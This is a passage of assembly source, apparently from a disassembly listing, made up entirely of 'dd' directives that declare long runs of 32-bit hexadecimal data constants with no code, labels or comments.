0BA595AE9h, 664E824Fh, 0B0C73DCh dd 246D1FE5h, 8A0D174h, 9140CD0h, 0B07A6F68h, 2D6EC95Ch dd 31FE1852h, 2B70800Bh, 0A540FD4Bh, 3D695988h, 78C87571h dd 465AECE9h, 148F14E8h, 0FD0174E0h, 68395250h, 72302E8h dd 0E0EAC15Ah, 0BC4A0F14h, 922CE00Bh, 0D2F1E828h, 4A6F6176h dd 0D610E2D8h, 0F6BE3C7Fh, 6D312C9Fh, 0F8AFCC45h, 0C878CC99h dd 4C4FE913h, 41ABCF56h, 6B3ADD0Eh, 14C8DB22h, 60F31FABh dd 5D975044h, 0DCFD6E16h, 68FFFEF5h, 0A2BAA0A3h, 8D2528F6h dd 632609D0h, 28F57AF1h, 0E90B085Ch, 0B895878h, 0F46BD1BDh dd 0B4B01B82h, 211127Dh, 0F7D2E4DDh, 1FF84A63h, 4B48901Bh dd 4F850639h, 0E1846D5h, 20AB0AA4h, 0CB7FE1A9h, 0F61C03A6h dd 0E2041F9Bh, 6356EFF2h, 74B8F727h, 68804263h, 492316C6h dd 889F224Fh, 40FC9AD5h, 64BC3h, 0E5B80994h, 311F252Ch dd 826BD85Dh, 0E4553FE9h, 8F1D0998h, 0C25F92C6h, 3582FF60h dd 0C029447Bh, 0C52F6C77h, 0B341D083h, 50C8040Ch, 40EE92E9h dd 2145F6DEh, 8FA06E08h, 0D70453B4h, 0D430E905h, 0F9BE9A94h dd 14613E7Ah, 85A90DA7h, 0C7C24E07h, 0C25C056Eh, 9257D2ACh dd 1404DD38h, 0B6871DADh, 0FE81F641h, 0B8C880C6h, 48E97A53h dd 0C3A45610h, 7F09B01Bh, 55346D85h, 4340E1BAh, 1D2C6794h dd 10027D6Ah, 365D1Fh, 3BB46162h, 4944C983h, 7EE1C33Fh dd 9D6E400h, 0F4D5EF5h, 0E0C89F8Dh, 4770C7E9h, 40E3FE95h dd 0B39FF080h, 0BD82164Ah, 0BA415DF7h, 0D8D96E5Bh, 0D9FC9F31h dd 5ADB211h, 4761BE68h, 0F3AB8051h, 0BA057BECh, 8B3E906h dd 0C9E51BCh, 0BB359ECBh, 3BBDE50Dh, 322C8AD1h, 0E58BAE4Eh dd 0C2F39F16h, 50DDF53Dh, 3A584869h, 0AC916735h, 2ECE1BCAh dd 0CD66C3A3h, 68AE6AC0h, 34495A55h, 0F82DC344h, 362D2B04h dd 0F8C10F1Ah, 0B87D3B47h, 0A21EC000h, 0C1D5F746h, 0B403ED28h dd 805A950Ah, 819FA830h, 0A2718A00h, 5EB8E913h, 8435746Eh dd 930A92Bh, 3235CCEh, 7D7B1Fh, 0CF60F117h, 0C809B44Dh dd 6B55592Eh, 2AFB7F28h, 0CD26178Ah, 66D01E43h, 2CB3089Ch dd 986D92Fh, 0FE85FC82h, 0AE2CEF89h, 0BE475F21h, 65C1E834h dd 404A492h, 0E2D403A8h, 0CBAF4F02h, 30BAD266h, 60CF6809h dd 0BB1EFFC4h, 0F0D204E2h, 0FE090A7Bh, 7DD3F732h, 47C80290h dd 16D238ECh, 2CABD1EFh, 47DA3189h, 670DB285h, 195A9E4h dd 626393E9h, 12105D79h, 0F9E05F16h, 0F8A4C0Ch, 0A843F026h dd 49A12FD8h, 0C6F4944h, 0C8BE935Ch, 965DE9CBh, 0DA01146Ch dd 0EA0F10C9h, 0A138B45Bh, 70349196h, 0DAC37D94h, 83E38AF5h dd 0F1EE018Eh, 0F33FB3BDh, 0B06885B1h, 0E0958DAEh, 1BC42F1Bh dd 0A7B341F8h, 5FA5E909h, 93CB752Bh, 3CF586D1h, 3B0B9E4Bh dd 2F06F25Eh, 0BD2F13FBh, 7C8307C0h, 171206BEh, 5CAE9228h dd 7645C292h, 50402A5Fh, 333068A6h, 21623466h, 0E72F7CE1h dd 9311BF5h, 77A15740h, 0A1574BC5h, 9C06A451h, 0E449330Bh dd 0AEDAF1F9h, 47686789h, 98646FBh, 6DE1154Ah, 618FE0D5h dd 33909D76h, 0F99517E4h, 26DB6941h, 1A18792Fh, 60A94CE9h dd 797AF954h, 99E941CCh, 86912AEFh, 72C9DEA9h, 0E47EAD61h dd 494BE9AAh, 0BA4B0CFCh, 0EFF83169h, 221F1828h, 7B410C07h dd 0DFD33A50h, 8829C90h, 14F2A900h, 0B54621h, 38B0C994h dd 0C366091h, 7C8E410Eh, 0D0EC4B0h, 0A4358A54h, 0D74C1673h dd 917FD5Eh, 0EE081B10h, 9F6805A8h, 83AF3742h, 0E3157A37h dd 3A7F62CAh, 40C12D41h, 174E1278h, 1AE9F274h, 0EDF2479h dd 0C55D6135h, 67F16860h, 46C04788h, 83CF3009h, 0D9B9B0CAh dd 352B08C2h, 50A4E8B6h, 11180EB8h, 0F6FE2EFAh, 0D10527EEh dd 0D52795DCh, 3F0E1299h, 1F1EB244h, 3EB8DF84h, 9E752D03h dd 0E014D32h, 0D4EB76C1h, 303FE829h, 4B5D2D68h, 51A4200h dd 4E997EF2h, 0A0D87C29h, 5A685607h, 2430AAA4h, 7DC120Bh dd 97F78120h, 0B1E5572h, 8B024FAEh, 750970AEh, 22205266h dd 0ACBE625Eh, 1FE03AEBh, 11EA5802h, 4E8F2D1Eh, 7C957578h dd 0F94E3D3Ch, 0C9258E4h, 42AC10E9h, 47898B0h, 38E0FC0h dd 0FDB2AB7Dh, 0A8114316h, 58B9B1ABh, 0A2ADE900h, 0C047DC9Dh dd 0D18AC688h, 44F28007h, 53C1B450h, 0AC7E58B3h, 76A527F6h dd 12DE1C4Ch, 0B7A3BAD3h, 0B8C38001h, 0C15BDC28h, 6A0060E3h dd 0CBC68B48h, 411C0D1h, 0B095E4C8h, 0E52C74ABh, 28EBEDE3h dd 5B2DE94Fh, 0F3CB6965h, 986B0CDCh, 399F0B2Dh, 74767FA3h dd 0A47849h, 535537Ch, 5D0E5C85h, 452D99A1h, 9FB9E807h dd 0AC3B4C90h, 0C8C2D016h, 367AB04Ch, 5140E05Eh, 16658CCFh dd 0E7D1024Dh, 639D890Fh, 0FC84E054h, 57812696h, 206F5FFBh dd 55D001C7h, 0CEFD684Ah, 0B44E3656h, 6A9AFCB9h, 56595413h dd 9BB1CDA8h, 2562CC10h, 776F850Ah, 8D09E375h, 84C6FC88h dd 0BAFEF4A1h, 74267C91h dd 97A2BA05h, 352D7730h, 0CE2DBFDEh, 25DE469Fh, 0E459092Dh dd 7E61BA81h, 8AD85F72h, 947A422h, 967A1C1Fh, 417202FDh dd 6D10591h, 2C0B9AEDh, 616670B7h, 5258DB7Dh, 0F425FC54h dd 15BC5AB1h, 2AFCEB7h, 225857CBh, 0BE37C10Eh, 3E76C96Fh dd 0EECBB606h, 1CB73BE0h, 40199B90h, 3BF74BE1h, 0AEA3C8FDh dd 0D5313B0Bh, 0B4BA8C5Ah, 10109708h, 464E3921h, 804E1B5h dd 5C70AD80h, 0ED3E5BEFh, 297206D4h, 7285841h, 0D4F8DEAFh dd 2058ED01h, 920FC1BEh, 61264A23h, 0BC3CE9CAh, 3130706Ah dd 290458C2h, 4A6FE9EAh, 8003E2BAh, 463E60BFh, 13B80574h dd 9BDD130h, 0B0D575A8h, 80F51D92h, 8A170F4Eh, 0EAB2E516h dd 2987F7C4h, 3060F12Fh, 6B051C41h, 8CE90952h, 9080AFD4h dd 1E2E1421h, 14CD294Bh, 592E08EDh, 2CA92494h, 0FE6A034Fh dd 0FD410134h, 2DEDF408h, 970212B9h, 0E285C7AEh, 8B95590Dh dd 5576F589h, 35027DCBh, 4CDF55BFh, 355230FCh, 0C1B3F2D9h dd 31959117h, 0EE1F3CA8h, 0ECDEBF59h, 0BA2AB9E4h, 2779D12Ah dd 0F7EB7B91h, 0D220ECDCh, 24042BF0h, 978545Bh, 2C0CEA31h dd 7F904D08h, 0E0682340h, 818B560h, 0A9D3EC50h, 0F9A90AAh dd 0F3E58388h, 7D8BFBEDh, 0EFB3B9CFh, 977FDD8Eh, 50D711E8h dd 462035B8h, 0D92D0942h, 0DA0BB7B4h, 4B5247Fh, 0F15A15C1h dd 92CDE37Bh, 0E9F061A9h, 7AE12194h, 898514ACh, 37A79CEAh dd 60BC4E12h, 705A5B1h, 785134D2h, 475B5E08h, 0C3F1F6D7h dd 0FF8559F5h, 0E917769Bh, 50554BDBh, 884D4401h, 6A8DEDD4h dd 0F7591002h, 983CC1DBh, 3D6BE00h, 137170Dh, 0ED7A81F0h dd 7EBB1079h, 5545304Bh, 71046DBDh, 0DFE97622h, 550534D2h dd 8B05D17Eh, 0F2FF5808h, 825F9A6Ah, 0D57E91Fh, 28007EEAh dd 413B82B9h, 0E181033Fh, 97F4B6Dh, 68D7A4FDh, 5C019527h dd 6A216F13h, 6A6B9657h, 8F1399FCh, 0AB5B84B5h, 0EBF54BF8h dd 79C79490h, 1888202Eh, 4CC56817h, 3203B5A3h, 467CA217h dd 2201F01Eh, 83E972C2h, 0C437D61Dh, 0EC07050Ch, 74F73492h dd 0A9028BDFh, 8C93AAFh, 72120350h, 89E8CC28h, 0C74AAA93h dd 5EAD2BCFh, 90094512h, 18250D22h, 68BCA84Bh, 0D946420Ah dd 5612695h, 0C20D042Ah, 0C009CD58h, 9CD11823h, 1A52E667h dd 9789D59h, 0F5C3305Bh, 97BF17F1h, 6EBD4008h, 5ABF5701h dd 0F4D1DACBh, 38D71597h, 6C4745EAh, 0C3A70687h, 0D4BD6B74h dd 8C0F8294h, 0C5D5A02Dh, 0BDD25D3h, 0C98F5CF1h, 2B7C28E8h dd 9D34CE9Fh, 87C5BF76h, 0D1BB1C52h, 5B655A9h, 0AEC713AEh dd 0B52268CCh, 2A1407C9h, 27E98D6Ch, 468D039h, 0A9BD1E1Ch dd 0BA0A0071h, 17485144h, 0B25B5C16h, 61BBD2AEh, 4769AF4h dd 0C9350C1h, 0D37CEC74h, 0F4B357ACh, 76145A0Bh, 7AF8DAFEh dd 0C1F22FEBh, 0FA14210h, 4D831ADh, 0AA162743h, 54789B82h dd 9C5D2F93h, 96ED9E88h, 647BC4F3h, 0F8E4BEA4h, 0D84781E7h dd 0D597C19Ch, 69347498h, 0CFB050EEh, 623AF995h, 690F34FDh dd 8D42DFC3h, 80F9E061h, 0F42D9670h, 9870F330h, 7D020EBh dd 0EADAC8h, 0AD68212Dh, 230F0512h, 0EB4AA70Bh, 1456490h dd 0CBCED1C8h, 760EB568h, 35950FB8h, 0C3054E4Eh, 0A868F251h dd 265F4D5h, 0E9C129B7h, 0C29020DAh, 919F280Eh, 7EFC5BF7h dd 0CBEFDF55h, 80524092h, 1135597Eh, 86801D10h, 7F9672E6h dd 2668EC7Ch, 606B1513h, 830AE955h, 92BF2EC0h, 0B50DD02Bh dd 0D2CBCFAFh, 0C368E060h, 3A607355h, 0C4D8E0h, 0BD7E2563h dd 6CB67F6Ah, 8196E976h, 4FA3F127h, 946CB8C4h, 7417EF74h dd 4CFFC6AFh, 0C19611BFh, 0D701FA2Ah, 0FEF61CE9h, 68079C6Eh dd 9A7F6E2Eh, 0F69D6BCEh, 6468C1F8h, 0F779847Bh, 0FF16FEEDh dd 583C4289h, 2612680Ch, 6693829h, 0F65D4046h, 0EB80165Ah dd 0D5AFE543h, 0B4513058h, 7E98A370h, 48255B26h, 6937FEA5h dd 0B7E05E80h, 5620E988h, 0F6C0CBC6h, 0B2387187h, 0D04A2413h dd 68E9C855h, 0E8996055h, 0F867F0C5h, 1AF145Fh, 357271A3h dd 61D3756Dh, 0C9F301DFh, 0E55B8152h, 3C692D72h, 4BEB5CEDh dd 0FB5512ECh, 0EF457A37h, 0DC0BBCC2h, 6BEA5187h, 21E476A9h dd 142DC7B5h, 122521E0h, 6039942Fh, 0BCE941CFh, 0E8E32960h dd 14D0F705h, 0AD023B25h, 202D400Eh, 0C1D2800Eh, 4121A38h dd 0D305D8FEh, 0CCAB5A4Bh, 865A829Bh, 4B573A9h, 9B97C5Ah dd 0DF9580D1h, 0EA075529h, 1D3D02BBh, 17E9487Ah, 0B1F7A057h dd 39E18033h, 2B6C019h, 83274F64h, 0D9485FEEh, 1913F5CEh dd 4AF5D35h, 91FDAC45h, 3A2DD02Ah, 47D451E5h, 5365270Eh dd 83A07966h, 71275DC6h, 8456E276h, 81003986h, 990F17EDh dd 722BECF9h, 0C90320BDh, 7F8D1C22h, 6FF9E72Ch, 39D71AA5h dd 846AB917h, 71E7AE6Eh, 28106809h, 0EF62F5DEh, 0C1A5A279h dd 0A0C64640h, 1D607C8Ch, 0D3685F2Bh, 96D0B218h, 759698AAh dd 59FDD5Dh, 0B2BA9355h, 0B3FD5D85h, 133FAC4Ah, 624BE240h dd 299C8454h, 21F135D0h, 55617AC1h, 4844D7B6h, 82E5EAB8h dd 95A0FEEEh, 0BE5B96AFh, 5A1AC09Dh, 0FFC0D05h, 602621B0h dd 3A16CCF5h, 0BE900844h, 250BB537h, 82D705D6h, 0E8F9E912h dd 278A0F84h, 74483621h, 9E02B050h, 0D7E9E12Ch, 6E757A3h dd 0AA87127h, 69945A8Eh, 2C7799DFh, 6FC21082h, 64772E55h dd 12F62FB6h, 1027A445h, 83A8E15Dh, 0FEFA2A13h, 8CB85CD1h dd 906E79D0h, 75700777h, 6A294091h, 0A108208Bh, 0BE00EC2Bh dd 632F5489h, 8F11F427h, 9AF26C6h, 0BD4ACC94h, 0CF80010Eh dd 6E7C0C3h, 954FEFD8h, 0B6B0A3D8h, 0FD14FF2Dh, 7EC73090h dd 6B4559BDh, 13588C04h, 321F04BAh, 68500154h, 25B84404h dd 0B43E9030h, 0E20E88A6h, 8FC05866h, 0A973C907h, 0FF48FFD0h dd 40822106h, 7350580Fh, 0AF19754h, 31B0E961h, 544D3125h dd 0D21B30ECh, 60E0FE16h, 36A62D8Eh, 0E65A167Dh, 685103FEh dd 3F2C169Bh, 70EDD1F9h, 3FBE062Eh, 0AA597880h, 1E38152h dd 5A745BBAh, 33229FE9h, 63327886h, 8256C8E6h, 753C91A0h dd 0E1554864h, 512DF0A7h, 7876C4BDh, 2EF1B7B5h, 562F1F62h dd 7DF96257h, 4FFF71FDh, 902974A9h, 26EBC048h, 0D0F599Fh dd 0F00640D8h, 0BBAF6EAh, 2AC361A2h, 5372BBFCh, 917C468h dd 1C470958h, 12DE96D7h, 29B3AFE9h, 0C9A52EDBh, 0E2FC48A7h dd 0C6D35307h, 29586F5Fh, 5542D52Dh, 1629D04h, 4735BA68h dd 4E05CA30h, 81E4882Fh, 55D4E605h, 0A6EF2396h, 2A8C053Bh dd 0C7012134h, 4C6323F1h, 0E614417Eh, 28058953h, 21F30250h dd 0FD481F22h, 9A356940h, 7571013Ah, 7C42330Bh, 71B17850h dd 96AAB046h, 9C7F2F9Dh, 0F198B5CEh, 0B99488E9h, 0D515F725h dd 58CC7C25h, 79AA19F7h, 0F0E354F0h, 43AB5622h, 3551BBC1h dd 0EB874546h, 0FE4FABE0h, 0E15F5E49h, 8B070796h, 10D9EA82h dd 33B495E8h, 38600E9Ch, 7939FD08h, 0EAF24B52h, 87223F04h dd 0FEC7DFFCh, 4E292FE4h, 0F66E3C7Eh, 7A4401FEh, 3E7FBF31h dd 748978F4h, 1655958Ch, 2CD62A74h, 797AF88Ah, 7FF89542h dd 22A45705h, 9AAC89DCh, 45A6163Ch, 13A20D07h, 58E37F4Ch dd 7CE0EB02h, 0C27E6814h, 7BA408A0h, 0FD2D6120h, 0F5F10ADh dd 3B89856Bh, 90296D21h, 297D29ADh, 774D8FACh, 955551CCh dd 33FA20F7h, 3408F065h, 0F80B2F2Dh, 342D4F99h, 0D0EB717Eh dd 7C29029Dh, 360305AFh dd 0C1F9C244h, 46B0AF40h, 901239FDh, 140810C8h, 0EF89570Bh dd 29D937Fh, 1224D790h, 0F1434841h, 9553BF2h, 43BC55B5h dd 0F82D04Ah, 2AA0D55Ah, 30E72C1Ch, 845C6082h, 82DD9520h dd 0FF28DB40h, 99E5AAEh, 9055B2F7h, 0F805EF09h, 0C01490DAh dd 36CABFA4h, 81027C1Dh, 590932E7h, 0ED4D634Ah, 2438E541h dd 94E826EEh, 0BF88DA4Eh, 49DF0FE2h, 0BCB8D9Ch, 0D7F62967h dd 21864C2Fh, 0B7981848h, 7AC9D848h, 0B53CB420h, 6CBDC552h dd 28E925ADh, 95B84000h, 79126525h, 9F10C521h, 14DE02C4h dd 0D5890CF3h, 79C91382h, 855045FDh, 0B087FA29h, 0CF69664Bh dd 2AA15287h, 62BDC6F1h, 1C6322D6h, 6DD325DDh, 816ACBC9h dd 73B8FB3h, 0DCAD53D4h, 3B010A15h, 6213573Fh, 97DAE405h dd 29EF794Ah, 0C4B2F7AFh, 5FA0747Ah, 0FD82C8A3h, 54128581h dd 0C0803AC0h, 0F097FDDAh, 487F9829h, 1E2E1801h, 0DBB812Dh dd 806D8815h, 0D363725Eh, 96DF899Fh, 41E98667h, 1242CE7h dd 3F07B0D8h, 705168ABh, 0BF230C2Bh, 0E952B113h, 1762D790h dd 0A98ECB57h, 0A82F149h, 31C4880Fh, 443C59DDh, 0A17BBC1h dd 3FDAFEh, 0D38887B2h, 4FEBC05Ah, 5710C705h, 85CB54C8h dd 0AA63C4CEh, 33FC6F94h, 2CE999E4h, 54E64AA0h, 80FEB780h dd 0F1A16AC7h, 4D163AEFh, 0E90BA99Bh, 6B3253E3h, 36EB98D7h dd 0C196B716h, 0E0089690h, 397033h, 7A4679F3h, 1CD0DD29h dd 7BBC6108h, 0E2400428h, 250B65C1h, 0A6F8CC6Ch, 36D22B5h dd 0DF4CD5DEh, 5C2BD12Dh, 6E7F6939h, 3DC50BD9h, 0BA7F0951h dd 0E90C029Bh, 3B0BDF78h, 0B32294D7h, 0A6F32C0Ah, 0DF1339EEh dd 0C56EF828h, 0F2D217C9h, 287851C8h, 2AEE0F46h, 0BF7347A5h dd 18B6B480h, 0ABF63D80h, 17085B25h, 8C0F02F3h, 0ADE92E5Dh dd 0CA432B18h, 0BB0EEAC9h, 0E5C0B74Ah, 9556C72Dh, 7EE76250h dd 0CE86CABCh, 882C1071h, 0C412ADF9h, 8A8DF6ABh, 0CD013146h dd 8961334h, 0C4928F30h, 16B0D583h, 7AEC89EBh, 0F00761ECh dd 54DEF3A8h, 0B7D8F0A7h, 0B050AE00h, 2C9134DDh, 5ED7FC71h dd 0C489E24Ch, 0F2BA6FD3h, 5F41CB2Dh, 0EE04E96Eh, 28205B14h dd 0CA87680h, 12F3E2Bh, 34081C68h, 5D14091Ch, 5B3871DFh dd 4B65AECCh, 0FB93B5ADh, 5BFB3E88h, 0EA0024B1h, 2A496E8h dd 32D04E93h, 26E92398h, 0CC427F5Bh, 60166E66h, 549B82F4h dd 69E4B598h, 0A9FF0B87h, 9896F51Dh, 29C70D4Eh, 5B66DA00h dd 6BF49528h, 5E685A50h, 0E7EB4D84h, 415DC5C4h, 7DEE3565h dd 29200125h, 22B906BCh, 0D9310B8Ah, 94460815h, 0DD95CD28h dd 0A47D1209h, 5C84DE48h, 1FBDE3BAh, 984E6404h, 9BEF170Eh dd 26F24F54h, 0D78AAB4Ah, 2FDE680Bh, 11D56130h, 0C12F024h dd 86138302h, 0D8D8E27Ah, 6EE00007h, 0F28108D4h, 486230A9h dd 777574FAh, 5C02AA73h, 0A46A7668h, 40EA588Eh, 372ECACFh dd 0F3B81D7Fh, 0FD66C025h, 0CB90401Eh, 0F65BB725h, 1FB66230h dd 4CFE6F7h, 20B55886h, 23AE8145h, 0E938C013h, 32C2CA25h dd 11C3D707h, 2F966FE9h, 24827227h, 9361D670h, 5A77AC42h dd 1CBE61BBh, 5D5C02D9h, 0E9416B7Bh, 0EC2B38BEh, 26D4F041h dd 304D7C6Ch, 0E90DD0EFh, 91CEA348h, 432FE6EBh, 0E5594F30h dd 0F5AD3E98h, 1A6C06C1h, 2205DF74h, 7FB10DDEh, 53610CF1h dd 0F0AF0914h, 57256826h, 4A426616h, 5ED881D8h, 97D260F7h dd 0ED7C8013h, 0E36D09h, 70516838h, 59723155h, 0E826F6BEh dd 0F94E295Ch, 3E0633AFh, 0F912334Bh, 0A6925AE2h, 56C3105Bh dd 9F16AB48h, 61DABA39h, 41F15624h, 8A7ED268h, 6606E343h dd 2301DDAEh, 5F130578h, 126A2A91h, 0EF46EE4h, 0AB41BCh dd 912C8BFh, 0FD894719h, 0C9043750h, 0EACCEF75h, 8D42BACh dd 25C1AE4Ah, 9342D301h, 0FD3000FCh, 0ED0B805Bh, 700E2C25h dd 9059E804h, 0F7D8EE99h, 9F79E9D0h, 0C0077AE5h, 0E63006EEh dd 1CD6F602h, 0FD7DCE80h, 0F520ED81h, 2A52665Ah, 606DA20Bh dd 7D1F634h, 8865E980h, 8359E5CAh, 0D8E2A005h, 1CF5C61h dd 0EBDCE801h, 825AB140h, 92FA850Fh, 39064EF5h, 3460EA88h dd 0C7835DEFh, 558DEAA0h, 0E396D797h, 9521FCh, 62685773h dd 2C963D10h, 5020A990h, 365ACEECh, 0B53238FAh, 0F75A6397h dd 80AE0994h, 4DE950B9h, 0BD189760h, 484B688Fh, 0E500EA75h dd 3E283531h, 16261E9h, 8BDDCA83h, 0DB31F7BFh, 60B2817h dd 2245685Dh, 81E6592Dh, 0DAEE8319h, 36D3869h, 0FE86B753h dd 8BAED1C7h, 0B4C18C54h, 2C7E73DCh, 58B50982h, 0E36732CFh dd 14575F20h, 691CFEB0h, 797F9CEAh, 9A776B7Eh, 86D10869h dd 32C28181h, 0AE2FDB7Fh, 0B2015E13h, 37D55F4h, 885506Fh dd 0D6E95F1Dh, 1370F64Dh, 0CABB5718h, 247F10E8h, 0CB8917h dd 5847C0F7h, 0D5822999h, 632AFF80h, 8702193Eh, 0C8E946F7h dd 0F3E65FBAh, 8BF60AF2h, 75020995h, 7C9FD83Eh, 6512C9A5h dd 64E0E698h, 166281B6h, 34E90160h, 0C6C78102h, 5FCF7C9Ah dd 86D50C80h, 0F001DA56h, 0FEF84197h, 1E532Eh, 0A0063356h dd 5203450Ah, 6EAC6853h, 14B8B50Dh, 50499D40h, 40449427h dd 955EE97Ah, 652D8FE1h, 0B81A2206h, 7A970B18h, 4FF672B5h dd 0E23AE8FEh, 0B7B87060h, 625AAB76h, 0F1F9F87Ch, 0AD8C17Eh dd 0A6C00442h, 4E7156DFh, 0C2AC0F31h, 6CD10723h, 398E2B0h dd 0FA3FE02Eh, 0BF922926h, 0F82DACF2h, 9F02A65Eh, 0FD717515h dd 66868E8h, 0B4435A9Eh, 0C996D18Ah, 0CD89A23Bh, 4CF25906h dd 44E420EDh, 0D5F60B95h, 0B4BC1243h, 6458214Bh, 3251CCBFh dd 7EFB9232h, 0ED104181h, 0E6172F49h, 629CDDEAh, 1D731079h dd 4F43FD50h, 1245B306h, 52F8CC8Ch, 3A3433C1h, 60ADF419h dd 4B2AA1D4h, 0CC9DAEBh, 8F5EBBE9h, 88F14F86h, 0E3413688h dd 4E244030h, 56892335h, 0F7AFF1FAh, 8554FBC7h, 291B9063h dd 61943072h, 6A815D61h, 90610EE8h, 298180B9h, 6BF789E9h dd 8859DC00h, 5EE30CEDh, 68B8B046h, 0B46AD921h, 0F9C4BBD6h dd 0A40AB8AEh, 5AB8F184h, 0BB4EC7A4h, 0B95E7ECh, 71EDFFB9h dd 2D59472Dh, 5F1DFF7Bh, 28CB4E2h, 59346731h, 41781C0h dd 223CDE2Dh, 0A0439BA4h, 912AF9BAh, 1B7A9D29h, 8409C7F6h dd 8B71DD61h, 250B7D27h, 84004777h, 0A2289968h, 5D5413F2h dd 10558FFAh, 5A73B165h, 0D419D4D0h, 50C3BF93h, 0FC79890h dd 10BAFD28h, 0FD9EE993h, 0FC13906h, 65680E2Eh, 0C5E33B13h dd 53115B12h, 292EAAD8h, 0FD4B5E4Ch, 7CE9A0A6h, 771F9280h dd 631230D7h, 386AF385h, 0F7076E3Dh, 48B27240h, 6227D833h dd 0D5CA24D1h, 1AAEFE2h, 0E04FDFF7h, 0CAB2FB91h, 3C65BF09h dd 3BE484DDh, 13C0EECh, 1AA4680Bh, 2BE9271h, 0E9551D10h dd 2FA9D432h, 2DF99675h, 2F22E807h, 0F9DC41DDh, 5CB489E7h dd 0D68BC2ADh, 64E6C957h, 0BD5B102Ch, 0F589B1A8h, 878B12B9h dd 13C0D154h, 0E9104505h, 0BB25473Dh, 78D1625Fh, 2516FA4Ch dd 6F55FEF5h, 97E99C93h, 57492256h, 2500147Ch, 0D42841B4h dd 5AE4F85Ah, 708F8194h, 7756AFFEh, 0CDF1F93Bh, 710B8B1Ch dd 0E7B6695Eh, 123B46F5h, 9752A987h, 0E53063E8h, 6149681Ah dd 7E73C02Dh, 0AE03B40Fh, 9887CBC3h, 0BF6A20E9h, 707548A9h dd 0EFAAA1E6h, 58A3F66Fh, 2D3150D4h, 0F8AD8A40h, 0CC1B87Fh dd 261D840Fh, 0D1B5C647h, 16968057h, 0FCE93966h, 198EA25Eh dd 0C740F551h, 2FE975F6h dd 489A0EB4h, 300B6CFFh, 0EB6982E7h, 292CB87Ah, 58147379h dd 0C730073Fh, 83B2A12Ah, 4FB65E89h, 0AB0B1A04h, 4706FB2h dd 5D4AEF35h, 0FE638456h, 0FC617FA1h, 5E096F68h, 4554D101h dd 88C8006Fh, 25E95838h, 33FD1809h, 4282D9F4h, 0BED8A822h dd 830343B8h, 8E9A420h, 0F62702A7h, 3026764Eh, 6224988Eh dd 54C4BF8Ah, 8F2F55B1h, 8BC84E0Eh, 5CD8407Ch, 5B062D04h dd 16BB2254h, 47EEC25h, 5F2C39F5h, 81C400FEh, 3E2AC8E1h dd 79A8054Fh, 8410219h, 3340FA06h, 0CF4BFED5h, 247F6AB8h dd 0B486AE90h, 2899EFFEh, 0B5BC8941h, 9684D27Ah, 7B02B9ABh dd 0C1010DEDh, 0EF3007EBh, 89F4EBD1h, 0A4C34F6Dh, 24FDCEA9h dd 0F04DAF6Fh, 58C6001Dh, 52B3B05Dh, 0AB8F4BB6h, 0A004498Bh dd 0EE074BE9h, 4A7AF2F4h, 0C343FC0Bh, 0A41FCA68h, 4BDE41E4h dd 205589F2h, 5C82A461h, 85312CFh, 8703D719h, 48D2F7D1h dd 0E70AC308h, 9DC4C55h, 0F2D9E5B1h, 0EB84183Ch, 0FE575D10h dd 0EF9E4C51h, 7309B9C0h, 81025301h, 823F1FF1h, 1488FC46h dd 0FF249240h, 98F7AD9Bh, 9492F101h, 0A0F74986h, 886DF763h dd 285B0BFEh, 0BE855AF0h, 0B7C98C65h, 0E7806D0Bh, 0C4584ADh dd 18193309h, 9C0693D2h, 0B4D78F0Ch, 11ABBF05h, 0E37130D8h dd 780771BFh, 0E92DD329h, 4EF0E2A8h, 0BF969015h, 0BF00EA4Ch dd 6E7328AFh, 0BA45EBE9h, 89206559h, 0F0F2BF55h, 0A052E9CEh dd 0C5773096h, 5A6DE62Dh, 6596A0DFh, 7566187Ah, 33150E5Bh dd 85488925h, 81AC65Eh, 8201F41Ch, 0DC68575Fh, 3120D55Ah dd 0E5810676h, 22D34299h, 2967BF02h, 0C0471EE2h, 1D3E7450h dd 0C24F19DFh, 4808F3EFh, 0AC2276C0h, 29F0D4A6h, 0FEA0D154h dd 84C5589Eh, 0B64EF4BCh, 96F00947h, 10D3D058h, 4EFF47A4h dd 0AB4BACE8h, 0D55A5F82h, 0D84EEF4Ch, 1BB71C17h, 36562F7Dh dd 173578E9h, 38EBA169h, 0DEC64D69h, 1D520B40h, 0F8461475h dd 54A983ABh, 0C79424D6h, 8BF742C0h, 0E268BA30h, 8B9C967Fh dd 63483EB4h, 0D197B670h, 0D4075290h, 0F6FD30C7h, 38012DA4h dd 131F776h, 74305F8h, 6DEEB45Fh, 1FBC2027h, 3DC8ABC5h dd 68D988BAh, 561E3F2Fh, 0E255CB9Bh, 0EB5B57AAh, 0C130F226h dd 2D48F805h, 4FC285C5h, 4FF2F87Dh, 0BA2F1268h, 0FEF555A2h dd 0EA2F232Dh, 0C88C4139h, 681247B5h, 0B035D75Fh, 0DF2521A8h dd 9A28DC9h, 4E845C24h, 824625D5h, 905EB491h, 203BF8E9h dd 460C086Dh, 4E67E681h, 9899028h, 0E836FA3Ah, 62CF45Eh dd 71696421h, 96DD25B4h, 82A68BCAh, 740009A0h, 7C5E55C7h dd 539F4398h, 92312842h, 0B9E29DF7h, 0EBF8977h, 0B753446Dh dd 0F4B4C1C3h, 264E912h, 7D4914F5h, 0D6C85D3Ah, 0D58215DAh dd 0F35E6D6Ah, 56494EBh, 590585BAh, 64D5C019h, 0BD5F10E4h dd 0E02B94B1h, 48E221B9h, 70C85C4Eh, 0B36840CDh, 3B007EEDh dd 820FBEC3h, 0BE1F7D83h, 4D11BEEBh, 400B3FE6h, 5CF048Ah dd 0C28D549Eh, 936A9814h, 0A032D15Dh, 0E9C20F2h, 0D16BE29Fh dd 88FAA5BCh, 4AFC9620h, 3C7615Ch, 173E36D8h, 6FBC0C09h dd 0FEF8ECA0h, 2908CCA8h, 38C5355Ch, 0D23E41A0h, 78D67B80h dd 880D325h, 0DC289F0Bh, 0E5E92D5Eh, 8E0E307Ch, 0D74BD18h dd 18DA445Ch, 0ED7F9C72h, 7A33066Fh, 8EF50152h, 0AB050882h dd 2AA3A1B2h, 60F704B4h, 9CEA3944h, 2B3BA02Ch, 40BA4801h dd 0BE1E5608h, 101241D7h, 3715D02h, 7B627D73h, 0F6A100D5h dd 0F75F0BDAh, 8932209Fh, 6D22AAA3h, 0D2F489E9h, 0CCFB6612h dd 0F9D0532h, 0F88C971Dh, 73819028h, 1CC5A48Ah, 0C974F480h dd 0B85BAEBh, 0C7F74546h, 0C158D1E2h, 0DD302B58h, 481BD55h dd 0BE76DF67h, 43EE8062h, 5D4AEE31h, 0B9D240EEh, 64EC1F0Eh dd 750BC9B8h, 8E714B47h, 0DF07EBC5h, 4502F5A9h, 0DAD2B587h dd 